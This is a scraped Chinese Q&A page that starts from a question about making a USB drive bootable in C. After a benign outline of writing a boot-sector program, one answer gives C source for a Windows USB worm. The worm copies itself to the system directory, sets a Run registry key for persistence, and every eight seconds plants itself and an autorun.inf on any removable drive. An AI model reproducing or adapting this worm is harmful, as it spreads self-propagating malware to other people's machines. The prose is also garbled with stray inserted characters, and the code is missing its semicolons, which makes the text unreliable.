怎么用c语言实现优盘启动

怎么用c语言实现优盘启动,第1张

1、用汇编语言编写一小段程序,如在屏幕上输出一个字符。(调用中断)

2、利用命令或winhex等工具将编译好的二进制程序写入U盘的主引导记录

3、开机,选择U盘启动,观察实验效果。

4、进一步地,丰富前述程序的功能,如增加键盘中断,可以对键盘上的动作进行岁旦响应(如敲入某字搜雀帆符X,屏幕能回显即可)。

5、再次写入引导扇区世雹,观察实验效果

不管处于目的是什么,为了学知识攒经验还是值得考虑的。我不知道该如何实现这个程序。但我有点不成熟指知的想法供你参考:

1.该程序必须在系统启动后即可运行,windows要在注册表里添加启动项,linux要在/etc/rc.d/rc.local文件中添加启动路径。

2.该程序必须能够正确识别u盘的路径,防止误格式闷慎化。

3.该程序必须调唯罩消用底层的系统函数来对格式化命令进行 *** 作。

#include<windows.h>

#include "Shlwapi.h"

LRESULT CALLBACK myproc(HWND,UINT,WPARAM,LPARAM)

void setBoot()//设置启动毕塌陵

void infect()//感染U盘

void CALLBACK TimerProc(HWND,UINT,UINT,DWORD)

HWND hwnd

int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd)

{

MSG msg

WNDCLASS wndclass

wndclass.cbClsExtra=0

wndclass.cbWndExtra=0

wndclass.hbrBackground=HBRUSH(COLOR_MENU+1)

wndclass.hCursor=LoadCursor(NULL,IDC_CROSS)

wndclass.hIcon=NULL

wndclass.hInstance=hInstance

wndclass.lpfnWndProc=myproc

wndclass.lpszClassName="test"

wndclass.style=CS_VREDRAW|CS_DBLCLKS|CS_HREDRAW|CS_OWNDC

wndclass.lpszMenuName=NULL

RegisterClass(&wndclass)

hwnd=CreateWindow("test","test1",WS_OVERLAPPEDWINDOW,200,200,200,200,NULL,NULL,hInstance,NULL)

while(GetMessage(&msg,NULL,0,0))

{

TranslateMessage(&msg)

DispatchMessage(&msg)

}

return 0

}

LRESULT CALLBACK myproc(HWND hwnd,UINT message,WPARAM wParam,LPARAM lParam)//窗口手戚函数

{

switch(message)

{

case WM_CREATE:

setBoot()

SetTimer(hwnd,1,8000,TimerProc)//定时发现并感染U盘,间隔8秒

return 0

case WM_DESTROY:

PostQuitMessage(0)

return 0

default:

return DefWindowProc(hwnd,message,wParam,lParam)

}

}

void setBoot()//设置为启动进程

{

int pcount

int i

char position[512]

char fileName[]={"\\hjb.exe"}

pcount=GetSystemDirectory(position,512)

for(i=pcountfileName[i-pcount]!='\0'i++)//获取系统目录

{

position[i]=fileName[i-pcount]

}

position[i]='\0'

char buffer[255]

if(PathFileExists(position)==false)//复制衫斗文件到系统目录

{

GetModuleFileName(NULL,buffer,255)

CopyFile(buffer,position,FALSE)

}

char regname[]="Software\\Microsoft\\Windows\\CurrentVersion\\Run"//修改注册表

HKEY hkResult

int rets

rets=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkResult)

rets=RegSetValueEx(hkResult,"theFile",0,REG_EXPAND_SZ,(unsigned char *)position,32)

if(rets==0)

{

RegCloseKey(hkResult)

}

}

void createINF(char drive)//生成U盘上的AUTORUN.INF文件

{

char autorun[]={"[autorun]\nopen=hjb.exe\n"}

char path[]={"x:\\autorun.inf"}

path[0]=drive

HANDLE inf

unsigned long count

inf=CreateFile(path,GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_HIDDEN,NULL)

if(inf!=INVALID_HANDLE_VALUE)

{

WriteFile(inf,autorun,sizeof(autorun),&count,NULL)

CloseHandle(inf)

}

}

void infect()//感染可移动磁盘

{

char i

char pat[255]

char buffer[255]

char fileName[]={"\\hjb.exe"}

pat[1]=':'

pat[2]='\\'

pat[3]='\0'

int j

for(j=3fileName[j-3]!='\0'j++)

{

pat[j]=fileName[j-3]

}

pat[j]='\0'

for(i='C'i<='Z'i++)

{

pat[0]=i

pat[3]='\0'

if(GetDriveType(pat)==DRIVE_REMOVABLE)//是U盘的话

{

pat[3]='\\'

GetModuleFileName(NULL,buffer,255)

CopyFile(buffer,pat,FALSE)

SetFileAttributes(pat,7)

createINF(i)

pat[3]='\0'

}

}

}

void CALLBACK TimerProc(HWND hwnd,UINT uMsg,UINT idEvent,DWORD dwTime)//定时器函数

{

infect()

}

仅供参考 不要用来干坏事哦^_^


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/yw/12546683.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-05-26
下一篇 2023-05-26

发表评论

登录后才能评论

评论列表(0条)

保存